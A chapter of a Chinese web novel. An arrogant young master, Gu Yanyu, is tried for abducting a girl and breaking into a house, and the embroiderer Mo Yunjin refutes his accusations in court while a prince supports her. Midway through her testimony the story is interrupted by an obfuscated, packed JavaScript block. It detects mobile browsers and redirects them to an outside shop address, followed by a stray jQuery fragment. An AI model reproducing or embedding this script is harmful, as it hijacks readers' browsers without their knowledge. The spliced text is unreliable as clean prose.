青州
顾府
“大公子,松山那边传信过来,请您过目。”
顾锦川的贴身长随长生一早看到松山飞来的信鸽,赶忙来禀告,心中都是对三公子的抱怨,
大公子整日不仅要为了布行忙碌,还要跟在三公子身后收拾他的烂摊子。
顾锦川眼中闪过一瞬的不耐烦,还不足五日,按他们的脚程,
顾燕羽是刚到松山就惹上了麻烦,他什么时候能知道躲避锋芒的道理,
都是一母同胞,为何他会那么蠢!
随着信纸展开,文弱书生样温和的脸上浮上恼怒,
蠢货,什么都不清楚就敢劫持曹氏的外甥女,还带人冲进那绣娘家中,被他得逞也就罢了,不仅失败了,还被扭送见官。
顾锦川闭上眼,缓了缓心神,压下想要打断蠢弟弟腿的冲动,转头强扯出一抹笑意:
“长生,备马,带几个人,随我一同去松山。”
听到顾锦川咬牙切齿的声音,长生不敢多言,赶忙吩咐下去,不足半个时辰,近十个人从顾府出发,向着松山奔去。
辰时末
顾燕羽从牢房中睁开眼的一瞬间,他心底一阵慌乱,
酒醉下,他见曹氏的外甥女虽然小了些,但看着乖巧可人,他得逞了没?
没有,而且他又被打了,那个像狗熊一样的男人,一巴掌挥过来,他有种被拍飞的感觉,
那人带着曹氏和那个小姑娘离开,回到曹家后,他回到了深塘巷尾的那户人家,他记得,墨云锦也住在此处,
一天之间,他被接二连三的侮辱,酒精刺激下,他带人冲了进去......
如今睁眼竟然身处牢房,墨云锦,曹雪贞,我顾燕羽与你二人,势不两立!
他用力的锤了一下地面,手上的疼痛让他的脸色狰狞不堪,在他还没来得及变换神情前,牢门被打开。
“顾燕羽,起来了,县令大人重新开堂审理你夜闯民宅的案件,别耽误事。”
差役没给他反应的机会,将他一把拉起,闯人家里夺人,还倒打一耙说人家姑娘敲诈,真是白瞎了这张好面皮,里面是个脏心烂肺。
顾燕羽何时受过这种委屈,心中的愤恨恼怒和屈辱让他的情绪崩溃,大哥,你什么时候能来,给我出气啊,
此时的顾燕羽还有什么不明白的,他被关进牢房,墨云锦在家中休息,松山县令,和她是一伙的。
杜文峰估摸着时间叫人去请墨云锦来县衙,就怕扰了秦卓铮清梦,
谁能想到他竟然会亲自把人送来,见到远远走来的身影,他急忙站起身,跑着迎上去:
“王爷,下官不知您亲自前来,有失远迎,还望勿怪。”
他吓得直用衣袖擦额头,这祖宗怎么也来了。
“本王只是送人过来,不会干涉杜县令断案。”
秦卓铮沉声回应,表明立场,是非恩怨由杜文峰自己判断,他不会多话,
说完他转头看向墨云锦,抬手将她额间的碎发捋顺,语气温柔的仿佛刚刚的冷声不是他一样:
“去吧,我就在此等你回来。”
墨云锦在心里腹诽,两幅面孔的小混蛋,面上没有波澜的点头:
“放心,我很快就出来。”
“嗯,一切有我。”
秦卓铮告诉她,没关系,你只管去做,一切有我给你托底。
听到他这样说,墨云锦有一瞬间心情酸涩不已,她好像有后盾了。
怕被他看到自己发热的眼眶,墨云锦转身往公堂走去,抬手背对着他挥了挥,我知道了,我不会输,也不会让你为难。
“杜县令去忙吧,本王就不打扰了。”
秦卓铮目送墨云锦消失在视线后,回头看到杜文峰还站在一边装鹌鹑,赶紧审,审完了把顾燕羽送进去,云锦才能有时间陪他。
“王爷,天气炎热,不如移驾后堂稍作休息,下官昨夜已经审过,今日只是叫墨姑娘来问几句话,很快就好。”
杜文峰可不敢让这祖宗在门外等着,这就是个活靶子,
在熄了对这位动手的念头后,他满脑子只有一个想法,就是让他安全的离开松山,谁都别想给他的政绩上泼脏水。
“有劳杜县令。”
这正合秦卓铮心意,杜文峰没开口,他也不好直接要求进县衙,如今他只有一个铮王头衔,并无职位,随意出入县衙不妥。
杜文峰见他回答的速度,就知道自己说到这位心坎里面,叫小厮引着秦卓铮和洛一等人进了后堂后,他才整理了一下官服,回到座位。
此时,公堂上,墨云锦不懂礼仪,站在原地,曹雪贞和顾燕羽跪在地上,林棋扯了扯墨云锦,两人才一同跪了下去。
杜文峰见到墨云锦跪下去的一瞬间,头皮都炸了,他小心的向后瞟过,希望王爷不要怪罪,不是他让跪的。
墨云锦跪的结实,膝盖的疼痛让她一瞬间眼泪都流了出来。
“堂下何人,有何冤屈,尽与本官道来。”
杜文峰拍了一下惊堂木,决定速战速决,至少也要让墨云锦快点起来。
“大人,草民要告墨云锦欺世盗名,欠钱不还。”
顾燕羽率先开口,他已经知道自己恐怕无法得到正义,那就等大哥来,帮他翻案。
“大人,民妇状告顾燕羽绑架行凶,意图轻薄民妇外女。”
曹雪贞红肿的双眼和顾燕羽几乎同一时间开口,想到余娇身上那些青紫还有被打肿的脸,她恨不得去撕了顾燕羽。
这俩人同时开口,反倒让墨云锦和林棋没有说话的机会,
该说的,林棋昨天已经说过了,墨云锦今天只是被叫来问话,对他们的控诉,还得等杜县令下令回复才行。
杜文峰闻言眼中闪过一丝诧异,这才是内讧吧,顾燕羽不是说墨云锦诓骗掌柜借钱不还么?怎么还没说清楚,这曹掌柜就把自己主家给告了?
转念一想,不行,还是要先让墨云锦排除嫌疑才行,他转头看向墨云锦:
“墨云锦,顾燕羽对你的控诉,你可承认?”
墨云锦抬头对上杜文峰的视线,郑重的摇了摇头:
“回大人,民妇不认,顾公子告民妇的两项罪名,均不成立。”
她不知道该怎么自称,只好学曹氏,磕磕绊绊的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343476|195089||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
用民妇代替“我”,见杜文峰示意让她继续后,她接着解释:
“顾公子说我欺世盗名,我想问,我窃取了谁的名誉?”
她侧过头冷视顾燕羽,这世上谁有她的本事,她还用去盗用他人手艺?
“二来顾公子说我欠钱不还,更是无稽之谈,流落至此,我确实身无分文,所以我与曹娘子签订契约,
我出卖自己独创绣法给顾氏布庄使用十年,年使用费用十两纹银,共计一百两,一次付清
我在顾氏布庄出任技术顾问,指导绣娘增长技艺,月银二两,
另外根据我用布庄材料出售绣品,四六分账,至今为止,由我所绣成品,手帕十条,香囊五支,绢花,绒花若干,一共卖出二十两,我分的八两,.
全部加起来共计一百一十两纹银,每一项店铺都有流水佐证,
我想问问顾公子,我什么时候,欠钱不还?”
顾燕羽被墨云锦的话步步紧逼到连连后退,此事他不占理,他知道,
可一直以来他都被宠惯着,无论做了什么都有人给他处理,他就是对的,错了也是对的,
为什么只是来到了松山这个穷乡僻壤,一切就变了呢?
曹氏不捧着他,墨云锦蔑视他,接二连三的被打,
他的精神有些恍惚……
好东西,不该都是顾家的吗?
她有本事,为什么不为顾家效力?
杜县令说什么他已经听不清,最后的印象是墨云锦那双不带一丝情绪的清冷双眸。
顾燕羽昏过去了,从小被娇宠大的孩子,
一天之间,被打了三次,还被关在牢房一夜,有些亏空的身体坚持不住打击,
倒在了公堂上。
杜文峰是可以用冷水给他泼醒的,考虑到皇后方面,他不能也不敢,无奈之下,只好让人把他带下去,
问曹氏拿到和墨云锦签署的契约,让师爷誊写一份后原件归还,关于墨云锦的部分,清楚明了,
剩下的便是曹氏的控诉,亟待处理。
杜文峰有些愁,还有谁能像他一样,一个案件,审了两次都没有结果,
还有谁像他一样为难,左手王爷右手皇后,都不能得罪,
找大夫给顾燕羽诊治过后,得到他是急火攻心导致的晕厥,换言之就是气晕了,
但他身上有伤,酒醉吹风,又在牢中过夜,发了高热,实在不能继续审讯。
在杜文峰宣布退堂后,墨云锦扯着曹氏离开,让她先出来。
“云锦,为何不让我继续下去?”
曹氏恨恨不已,早已没有了冷静,心中只有一个念头就是让顾燕羽付出代价。
“人都昏了,县令大人……”
墨云锦左右看了看,确定没人偷听后,压低着声音继续说:
“想想顾燕羽身后的势力,县…他怎么敢太过激进,
别看顾和我们都是平头百姓,实际上,我们真要和他扯起来,没有一点胜算。”
墨云锦并非危言耸听,也绝非有意恐吓曹氏,
没有秦卓铮给她当后盾,此时的她只会遁走,躲避锋芒。